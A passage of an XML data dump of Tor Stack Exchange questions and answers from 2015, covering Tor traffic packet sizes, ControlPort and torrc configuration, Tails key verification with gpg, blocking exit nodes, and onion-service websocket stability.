data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The greater size of data in the Obfsproxy case can probably be explained by &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransports#obfs3&quot; rel=&quot;nofollow&quot;&gt;padding&lt;/a&gt; of some sort.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Relating to above question, there are lots of packets with size of&#xA;  1460 bytes in backward direction (from server to client). So what&#xA;  happens to the fixed cell size?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The lower-level protocols don't care what data is in the layers above them. They just get passed the data and package it up themselves. Tor's cell size doesn't come into play as this isn't what gets put on the wire. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data in the &lt;em&gt;outgoing&lt;/em&gt; packets will likely be HTTP requests, which are small and will fit into a single Tor cell. Bundle this up with the required headers, and you still have quite a small (i.e. 586/609-byte) packet. This will all fit into a single Ethernet frame, which is what gets sent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data in the &lt;em&gt;incoming&lt;/em&gt; packets will likely be much larger - e.g. the data associated with a webpage, a file, etc. This data won't fit into a single Tor cell, and has to be split across several. The data from several of these cells can themselves be bundled into a single Ethernet frame. On my set up I'm seeing 1506-byte Ethernet frames (presumably the MTU), which stripped of the Ethernet/IP/TCP headers gives 1440 bytes of data. In this 1440 bytes there is the TLS layer data together with the Tor data. (Where the Tor data is likely two complete cells together with a fragment.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In my own testing on TOR traffic, from 9939 packets that were sent&#xA;  from client to server, there were 2648 packets with different sizes&#xA;  than 543, like 126,1086,1629,4101,612 and so on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are probably fragmentation artefacts, or the ends of particular streams of data. Those that are greater than ~1500 bytes are probably Ethernet &lt;a href=&quot;https://en.wikipedia.org/wiki/Jumbo_frame&quot; rel=&quot;nofollow&quot;&gt;jumbo frames&lt;/a&gt;. They may also contain parts of different TCP streams combined into the same Ethernet frame (Wireshark should be able to show you this). Either way, the same general point applies: the idea of Tor's cells have been abstracted away by the point the data is put on the line in the form of Ethernet frames.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-30T13:15:43.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9142" PostTypeId="1" CreationDate="2015-11-30T20:33:46.753" Score="1" ViewCount="713" Body="&lt;p&gt;I'm having problems with correctly starting tor.exe process and connecting with telnet/tcp to Tor in order to send commands.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When the tor.exe process is started by Tor Browser (Version 5.0.4) I can easily connect to port 9151 and send commands.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I kill Tor Browser process only, I am unable to connect to ControlPort 9151&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I start tor.exe manually, I am unable to connect to ControlPort 9151&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question is, what exactly is Tor Browser doing that I'm missing? And how come that killing Tor Browser process somehow messes up tor.exe and I'm unable to connect after that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The torrc configuration is correct and all the paths are correct in configuration.&#xA;Here is the configuration&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\unknown\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\unknown\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\unknown\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&#xA;ExitNodes {US}&#xA;StrictNodes 1&#xA;SocksPort 9150 IPv6Traffic PreferIPv6&#xA;ControlPort 9151&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that Tor expert bundle build for windows has some bugs in it (like not outputting to the console), and I've tried both binaries, from expert bundle and from Tor Browser - none of them worked out for me.&lt;/p&gt;&#xA;" OwnerUserId="10085" LastEditorUserId="350" LastEditDate="2015-12-02T17:04:35.770" LastActivityDate="2015-12-02T17:04:35.770" Title="Can't connect to Tor using expert bundle on windows, works if Tor is started by Tor Browser" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9144" PostTypeId="2" ParentId="9142" CreationDate="2015-11-30T21:24:24.457" Score="2" Body="&lt;p&gt;As Richard answered, running &lt;code&gt;tor.exe | more&lt;/code&gt; gives you console output of tor and I was able to see that tor is searching for torrc configuration in AppData/Roaming/tor instead of using configuration file torrc in his own folder.&lt;/p&gt;&#xA;" OwnerUserId="10085" LastActivityDate="2015-11-30T21:24:24.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9145" PostTypeId="2" ParentId="6198" CreationDate="2015-11-30T21:33:37.270" Score="2" Body="&lt;p&gt;Just a note, running &lt;code&gt;tor.exe | more&lt;/code&gt; gives you console output of tor&lt;/p&gt;&#xA;" OwnerUserId="10085" LastActivityDate="2015-11-30T21:33:37.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostTypeId="2" ParentId="3415" CreationDate="2015-11-30T21:42:23.023" Score="2" Body="&lt;p&gt;Yes you can. I recommend using &lt;a href=&quot;https://stem.torproject.org/api/control.html&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt; to control your tor circuit. Hopefully that points you in the right direction. The link also has a menu with &lt;a href=&quot;https://stem.torproject.org/tutorials.html&quot; rel=&quot;nofollow&quot;&gt;tutorials&lt;/a&gt; at the top that have some great examples to get used to using it. Good luck with your bot, I've made a few for Tor so I know it can be done.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2015-11-30T21:42:23.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9147" PostTypeId="2" ParentId="9130" CreationDate="2015-12-01T01:20:50.083" Score="1" Body="&lt;p&gt;You're not doing anything wrong. But here is an explanation of your output and a way to get some level of further verification by showing that the old key has actually signed the key you downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command you typed in &lt;code&gt;gpg --check-sigs A490D0F4D311A4153E2BB7CADBB802B258ACD84F&lt;/code&gt; checks the tails signing key's signatures and it prints the signatures that were made by keys you have downloaded and are in your gpg public keyring. Therefore keys that are not in your public keyring will not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tails website says the following, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The new signing key is itself signed by the old signing key. So you can transitively trust this new key if you had trusted the old signing key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x1202821CBE2CD9C1 2015-01-19 Tails developers (signing key)&lt;/code&gt; This is the old tails signing key that expired in April. This output shows that it signed the current signing key on the date 2015-01-19.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To print &lt;strong&gt;all&lt;/strong&gt; the signatures use the command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gpg --keyid-format long --list-sigs A490D0F4D311A4153E2BB7CADBB802B258ACD84F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added --keyid-format long to give the longer key ids shown on the tails website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be a lot of output because &lt;code&gt;list-sigs&lt;/code&gt; will include the 134 signatures not checked due to missing keys. The keys that are not in your public keyring will have a message like &lt;code&gt;[User ID not found]&lt;/code&gt; so the old tails key which will be close to the top of the list will look (to you) like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1202821CBE2CD9C1 2015-01-19  [User ID not found]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing this output will show you that the old key was used to sign the key you downloaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking to see if the old key has signed the new key is primarily intended for those of us who downloaded the old key when it was still in use i.e. people that have used tails since version 1.3 and before and even more beneficial to the people who actually signed the old key, because as it said on the website these people can transitively trust this new key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old key is still available from key servers but you cannot better verify the new key if you download the old key in this way because you got the key id of the old key from the new key.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The expiration date of 2017-01-11 is fine. as long as gpg keys have not expired (when their date in the past), you don't need to worry about them too much. It is different from the expiration date of the old key because it is a different key. As I stated above, the old key expired in April that is why it was replaced.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-12-01T01:26:28.850" LastActivityDate="2015-12-01T01:26:28.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostTypeId="2" ParentId="7567" CreationDate="2015-12-01T10:27:40.633" Score="2" Body="&lt;p&gt;Typically the IP address won't change. A large number of exit nodes are on dedicated servers or VPSs, so the public IP will likely stay same unless the owner moves to a new server. In this case they'll usually carry over the same &lt;code&gt;secret_id_key&lt;/code&gt; so history and flags stay the same in Atlas/Globe even with the new IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uptime only measures how long the node (server) has been running Tor. If the server or the Tor service is restarted on the server then that date will refresh.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-12-01T10:27:40.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9149" PostTypeId="1" CreationDate="2015-12-01T14:32:40.640" Score="3" ViewCount="6526" Body="&lt;p&gt;Using Tor browser can help us stay anonymous. But I not always browse the web when I am on my PC. What about the command line utilities like &lt;code&gt;wget&lt;/code&gt; and so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, some command line utility might send user data over the web, information like IP address might get exposed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how can I use my command line utilities, or say whole operating system using Tor? To stay anon 100%?&lt;/p&gt;&#xA;" OwnerUserId="10091" LastActivityDate="2015-12-28T20:44:13.703" Title="How to use command line utilities through Tor?" Tags="|anonymity|linux|" AnswerCount="2" CommentCount="2" ClosedDate="2018-01-28T21:37:57.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="9150" PostTypeId="1" CreationDate="2015-12-01T17:11:39.213" Score="0" ViewCount="167" Body="&lt;p&gt;I'm trying to change the exit relay node of Tor to the UK, temporarily (&lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node?newreg=b443bfb9dcb647c9863a7567bf7e03f0&quot;&gt;as advised here&lt;/a&gt;). The advice is to add a bit of code in torrc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I can find only the files &quot;old&quot; torrc, torrc.orig (empty) and torrc.defaults on my machine, none of which seem to do the job - they are very small files and don´t contain much code. What am I missing? &#xA;Note, I'm completely uneducated in this field and just trying to follow instructions posted on this forum, apologies for the naive question. Apologies and appreciations in advance. &lt;/p&gt;&#xA;" OwnerUserId="10092" LastActivityDate="2016-09-11T05:04:07.123" Title="I'm looking for torrc to add a minor edit, but can only find torrc.orig or torrc.default. Where can I go to edit?" Tags="|tor-browser-bundle|configuration|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9152" PostTypeId="1" CreationDate="2015-12-01T22:55:38.187" Score="5" ViewCount="1626" Body="&lt;p&gt;I'm attempting to advise another party on how to block &lt;em&gt;just&lt;/em&gt; requests from Tor exit nodes, not non-exit relays. I think I understand the correct data sources to provide to them, but I'd like confirmation that this is the correct approach.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Constraints&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They need the data in bulk, not query-dnsbl-per-request&lt;/li&gt;&#xA;&lt;li&gt;They need to check the actual request IP, not the advertised IP of the node&lt;/li&gt;&#xA;&lt;li&gt;While this is primarily web traffic, I'm not sure we can assume just ports 80 and 443&lt;/li&gt;&#xA;&lt;li&gt;While I'm sure the Tor community would like them to not block Tor exits, I think that's non-negotiable due to their business model. However, getting rid of these false positives is no doubt an improvement for everybody.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Resources&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've found &lt;a href=&quot;https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8&amp;amp;port=443&quot;&gt;https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8&amp;amp;port=443&lt;/a&gt; which AIUI generates lists of IPs based on &lt;em&gt;advertised&lt;/em&gt; exit policies and addresses for a given port (call this the Bulk Exit Query for 443)&lt;/li&gt;&#xA;&lt;li&gt;I've found &lt;a href=&quot;https://check.torproject.org/exit-addresses&quot;&gt;https://check.torproject.org/exit-addresses&lt;/a&gt; which appears to list the &lt;em&gt;actual&lt;/em&gt; outbound IP addresses of exit nodes, I think based on TorDNSEL data (call this the TorDNSEL List). It's not clear which exit ports this is based on, however!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What surprises me is that the former is not a subset of the latter. I would expect that some exits do not allow 443, so they'd only be on the TorDNSEL List, but anything on the Bulk Exit Query for 443 list should be included on the TorDNSEL List. It's possible that the mismatch there is due to exits that have inbound and outbound traffic on different IPs.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Partial solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;My inclination is to advise the other party to combine the following data sources for their blocklist:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TorDNSEL List&lt;/li&gt;&#xA;&lt;li&gt;Bulk Exit Query for 80, 443, 8080, 8443, and other ports that are relevant to their business, using... what IP?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Remaining questions&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How would one get Bulk Exit query data agnostic of destination IP?&lt;/li&gt;&#xA;&lt;li&gt;Does Bulk Exit use advertised or actual addresses? Their docs imply the latter (and mention using TorDNSEL for this), but then why the mismatch?&lt;/li&gt;&#xA;&lt;li&gt;Is there anything I'm missing here?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10095" LastEditorUserId="10095" LastEditDate="2015-12-02T00:49:32.387" LastActivityDate="2016-02-07T13:23:15.930" Title="How would I block exit nodes correctly?" Tags="|exit-relays|blocked-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9153" PostTypeId="1" CreationDate="2015-12-01T23:21:20.027" Score="5" ViewCount="718" Body="&lt;p&gt;How can I get a version of Tails (Tails or TAILS?) without the desktop GUI environment installed? If I can't, then how can I manually uninstall the desktop?&lt;/p&gt;&#xA;" OwnerUserId="10096" LastEditorUserId="10096" LastEditDate="2015-12-04T15:30:28.140" LastActivityDate="2019-07-29T00:00:59.177" Title="Tails without desktop" Tags="|tails|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9155" PostTypeId="1" CreationDate="2015-12-02T08:34:25.920" Score="1" ViewCount="339" Body="&lt;p&gt;Can't I download files of more than 1 GB via configured tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using socksv5 127.0.0.1 and port 9150.&#xA;I've already downloaded files of less than 1 GB and they downloaded just fine. However, when I tried to download files of more than a 1 GB it was stuck at connecting to peers.&lt;/p&gt;&#xA;" OwnerUserId="10100" LastEditorUserId="88" LastEditDate="2015-12-02T10:20:13.310" LastActivityDate="2015-12-03T22:14:54.130" Title="Torrent via tor" Tags="|tor-browser-bundle|bittorrent|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9156" PostTypeId="1" CreationDate="2015-12-02T17:55:15.480" Score="0" ViewCount="28" Body="&lt;p&gt;Does Tor have any filter for specific IP-adresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#DefaultExitPorts&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; lists some of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Reserved_IP_addresses&quot; rel=&quot;nofollow&quot;&gt;reserved IP addresses&lt;/a&gt; as being blocked by the default exit policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an extra filter?&lt;/p&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2015-12-02T17:55:15.480" Title="Which IP addresses are not routed via Tor?" Tags="|network-configuration|ip-address|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9157" PostTypeId="2" ParentId="9150" CreationDate="2015-12-02T17:59:51.213" Score="1" Body="&lt;p&gt;For the Linux Tor Browser bundle, the file you are looking for is in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BUNDLE/Browser/TorBrowser/Data/Tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2015-12-02T17:59:51.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9158" PostTypeId="1" CreationDate="2015-12-02T20:25:02.353" Score="0" ViewCount="153" Body="&lt;p&gt;Say I have one (non tor) browser open and visit a site like Gmail, then using a tor browser, use an email services associated with an alias. Using either cookies or some other mechanism could those two accounts become linked? &lt;/p&gt;&#xA;" OwnerUserId="10105" LastActivityDate="2016-06-27T21:17:18.767" Title="Cross browser tracking" Tags="|anonymity|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9159" PostTypeId="1" CreationDate="2015-12-02T23:27:56.547" Score="2" ViewCount="123" Body="&lt;p&gt;When a Tor OP wants to extend a circuit, it sends a relay extend cell to the last node on it. This node then sends CREATE cell to the desired destination node, choosing a new CircID (used to identify the circuit uniquely) not already used between the node sending the CREATE cell and the destination node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen in the hypothetic case when, say, 2 different circuits with different middle nodes share the same exit node, and the two middle nodes choose the same, colliding CircID when sending CREATE cell to the common exit node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the spec, this should be a possible scenario, because each of the middle nodes doesn't use the randomly generated CircID already to this exit node. The collision happens only on the exit node and there is no way for the two middle nodes to know about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How strong is the entropy behind CircID generation and is it the only defence measure against CircID collision?&lt;/p&gt;&#xA;" OwnerUserId="3442" LastEditorUserId="3442" LastEditDate="2015-12-02T23:43:30.810" LastActivityDate="2019-03-16T15:55:25.550" Title="What prevents CircID collision from happening?" Tags="|circuit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9160" PostTypeId="1" CreationDate="2015-12-03T02:42:21.703" Score="2" ViewCount="1047" Body="&lt;p&gt;I have seen a ticket opened about this on tor bug tracker, but no progress for over a year on the Tor Browser being available on arm processors. I have setup firefox with a proxy to use Tor but that is not safe because the browser itself leaks to much info. So I am asking for help if this is the right place to ask how to compile the Tor Browser on RasPi 2 on Debian/Ubuntu. Just some simple instructions for me to follow so I can compile from source, or is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="10106" LastEditorUserId="350" LastEditDate="2015-12-03T18:17:27.847" LastActivityDate="2021-08-14T20:04:20.440" Title="Compile Tor Browser on Raspberry Pi 2" Tags="|tor-browser-bundle|ubuntu|debian|source-code|build|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9161" PostTypeId="1" CreationDate="2015-12-03T10:58:35.527" Score="1" ViewCount="1026" Body="&lt;p&gt;I'm working on a Java application that uses websockets to communicate with a hidden service. So far I've managed to get it all working but websocket connection is unstable. Here's what I've done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I've installed Tor and added this to &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:9001 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've got a working websocket server on a local machine listening on port 9001.&lt;br&gt;&#xA;Next, I need a local HTTP proxy for websockets, not SOCKS5 so I've installed Polipo and added this to it's config file:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxyAddress = &quot;127.0.0.1&quot;&#xA;proxyPort = 8118&#xA;&#xA;socksParentProxy = &quot;localhost:9050&quot;&#xA;socksProxyType = socks5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I've got Tor with a hidden service, working websocket server, Polipo and a websocket client all on a same machine - for a testing purposes. And at last, here's a pseudo code of what my program is doing:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val server = &quot;ws://xe5qeboadaaatzuz.onion:80&quot; // hidden service on a same machine&#xA;factory.proxy.setHost(&quot;localhost&quot;).setPort(8118) // using Polipo HTTP proxy&#xA;val socket = factory.createSocket(server)&#xA;socket.onDisconnect = wait 5 seconds and reconnect&#xA;socket.connect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's an output I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ForkJoinPool-1-worker-5] connecting...&#xA;[ReadingThread] socket has connected&#xA;[ForkJoinPool-1-worker-3] OPEN&#xA;[ReadingThread] Got response: [&quot;ok&quot;,&quot;hello&quot;]&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Disconnected&#xA;[ForkJoinPool-1-worker-5] java.io.IOException: The status code in the response from the proxy server is not '200 Connection established'.The status line is: HTTP/1.1 504 Couldn't connect: Connection refused&#xA;...&#xA;[ForkJoinPool-1-worker-5] connecting...&#xA;[ReadingThread] socket has connected&#xA;[ForkJoinPool-1-worker-3] OPEN&#xA;[ReadingThread] Got response: [&quot;ok&quot;,&quot;hello&quot;]&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Got ping frame&#xA;[ReadingThread] Disconnected&#xA;[ForkJoinPool-1-worker-5] java.io.IOException: The status code in the response from the proxy server is not '200 Connection established'.The status line is: HTTP/1.1 504 Couldn't connect: Connection refused&#xA;[ForkJoinPool-1-worker-5] java.io.IOException: The status code in the response from the proxy server is not '200 Connection established'.The status line is: HTTP/1.1 504 Couldn't connect: Connection refused&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On average connection lasts for a minute or so. It also happens periodically when I connect to &lt;code&gt;echo.websocket.org&lt;/code&gt;. Is this an inherent property of Tor network or am I missing something here? Perhaps some settings in &lt;code&gt;Polipo&lt;/code&gt;'s or &lt;code&gt;Tor&lt;/code&gt;'s config could resolve this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;When I test the same setup on Android using OrBot's &lt;code&gt;localhost:8118&lt;/code&gt; as HTTP proxy my websocket connection is stable. But my question about how to achieve the same stability in Linux environment still stands.&lt;/p&gt;&#xA;" OwnerUserId="10109" LastEditorUserId="10109" LastEditDate="2015-12-03T13:24:50.410" LastActivityDate="2015-12-13T20:20:08.160" Title="Unstable websocket over Tor" Tags="|configuration|onion-services|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9162" PostTypeId="1" AcceptedAnswerId="9164" CreationDate="2015-12-03T11:47:39.090" Score="1" ViewCount="2304" Body="&lt;p&gt;I need a proxy file (.pac) to access the internet. I used to work with a HTTP/HTTPS proxy which is easily configured through Tor settings but now I have to use a .pac file, and I can't find the option in the initial configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KAbV7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KAbV7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C0UhP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C0UhP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9503" LastActivityDate="2015-12-03T12:15:08.513" Title="How can I set tor to use a proxy file (.pac)" Tags="|mac|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9164" PostTypeId="2" ParentId="9162" CreationDate="2015-12-03T12:15:08.513" Score="0" Body="&lt;p&gt;Ok so the answer to this is quite simple :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to download the .pac file (provided by the company I'm consulting for). Next I had to open it and locate the url and the port they're using for the .pac configuration file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eUteV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUteV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and configure tor to use an HTTP/HTTPS proxy as usual.&lt;/p&gt;&#xA;" OwnerUserId="9503" LastActivityDate="2015-12-03T12:15:08.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9165" PostTypeId="2" ParentId="6074" CreationDate="2015-12-03T14:15:28.513" Score="0" Body="&lt;p&gt;The problem here was not a bad bridge but a privoxy (proxy) communication issue. There would have been a server-rejection error rather than a socks error if that had been the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One larger issue as I see it is that Orbot does not have, and needs to have, a validation routine for addition of bridge lines through its UI to the custom torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I very frequently run into the issue of needing to add fresh bridges, without really knowing which transports will be supported, and whether a list I am trying to paste in has the correct format for line terminations. There are probably other considerations with which I am unfamiliar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: I took a list of three obfs4 bridges obtained moments earlier from torproject by web, and pasted it in. I had to find what appeared to be the end of each line and add a return because it was apparent that terminations had been ignored. I exited and restarted orbot. It would not connect, and offered no useful errors, other than a note indicating custom torrc is invalid.&lt;/p&gt;&#xA;" OwnerUserId="10111" LastActivityDate="2015-12-03T14:15:28.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9166" PostTypeId="2" ParentId="9155" CreationDate="2015-12-03T16:23:28.053" Score="1" Body="&lt;p&gt;Using tor should not affect that at all. However, you should consider using a private VPN for that instead of consuming resources on a limited network.&lt;/p&gt;&#xA;" OwnerUserId="9948" LastActivityDate="2015-12-03T16:23:28.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostTypeId="2" ParentId="9155" CreationDate="2015-12-03T22:14:54.130" Score="0" Body="&lt;p&gt;Tor really recommends against using the Tor network for downloading torrents. &lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow&quot;&gt;see the blog post here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2015-12-03T22:14:54.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9170" PostTypeId="2" ParentId="9158" CreationDate="2015-12-04T15:28:08.600" Score="1" Body="&lt;p&gt;Websites can detect that you are using Tor because there are lists of every Tor exit node (just compare IP Addresses and &lt;em&gt;voila!&lt;/em&gt;) Because Gmail (i.e. Google) knows you are using Tor, they know you are not really the client you say you are. When Google sends you the email about a login from a different location, and you don't reset the password, you are confirming that the login was you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies are only cross browser if they are &lt;a href=&quot;https://en.wikipedia.org/wiki/Local_shared_object&quot; rel=&quot;nofollow&quot;&gt;Local Share Objects (LSO)&lt;/a&gt; (i.e. Flash cookies). If the Tor Browser does not allow Flash, the cookies will not carry over to the browser. Look at &lt;a href=&quot;https://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html&quot; rel=&quot;nofollow&quot;&gt;your Flash Player settings&lt;/a&gt; to see and manage your flash cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this answers your question.&lt;/p&gt;&#xA;" OwnerUserId="10096" LastEditorUserId="10096" LastEditDate="2016-06-27T21:17:18.767" LastActivityDate="2016-06-27T21:17:18.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
